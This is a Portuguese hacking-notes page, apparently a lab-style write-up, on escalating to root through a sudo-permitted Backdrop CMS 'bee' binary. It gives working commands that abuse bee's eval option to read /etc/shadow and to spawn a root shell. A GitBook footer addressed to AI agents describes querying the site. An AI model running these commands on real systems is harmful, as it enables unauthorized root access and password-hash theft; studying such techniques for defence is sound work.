> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/sudoers/sudo-bee-binary-linux-privilege-escalation.md).

# Sudo bee Binary - Escalada de privilégios no Linux

## O que é

A escalada de privilégios via Sudoers começa com os comandos que um usuário pode executar por meio de `sudo`. Binários mal configurados, argumentos de script inseguros, tratamento de links simbólicos e versões vulneráveis do sudo podem transformar permissões limitadas de sudo em um shell root. Esta página específica foca em **Sudo (binário Bee)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
sudo -l
sudo --version
```

## Exemplos

### **Escalação de privilégios com o binário Bee**

Verificamos os privilégios do sudo:

```bash
sudo -l
```

Podemos executar **/usr/local/bin/bee** como root.

<figure><img src="/files/3a6d4a1b13abfabda886b67b483535400f44007a" alt=""><figcaption></figcaption></figure>

**Análise do Bee**

{% hint style="info" %}
Bee é uma ferramenta de administração para **Backdrop CMS**, semelhante ao **Drush** para Drupal. Ela permite a execução de vários comandos.
{% endhint %}

`Uso: bee [opções-globais] [opções] [argumentos]`

<figure><img src="/files/2624fd4a01a5fd48acc6881903bac293b48aabe9" alt=""><figcaption></figcaption></figure>

Identificamos a opção **eval** opção, que permite a execução de código PHP arbitrário.

<figure><img src="/files/1831a6ebca577176341dfe54c36d085bda270855" alt=""><figcaption></figcaption></figure>

**Ler /etc/shadow**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("cat /etc/shadow 2>&1");'
```

{% endcode %}

<figure><img src="/files/2bb8ae5e47c6d204379cf6681231bf6327c0e46c" alt=""><figcaption></figcaption></figure>

**Shell de Root Obtida**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'shell_exec("/bin/bash -p");'
```

{% endcode %}

<figure><img src="/files/700eac89ff7562b769fa49b7bacef3656059f89c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/sudoers/sudo-bee-binary-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
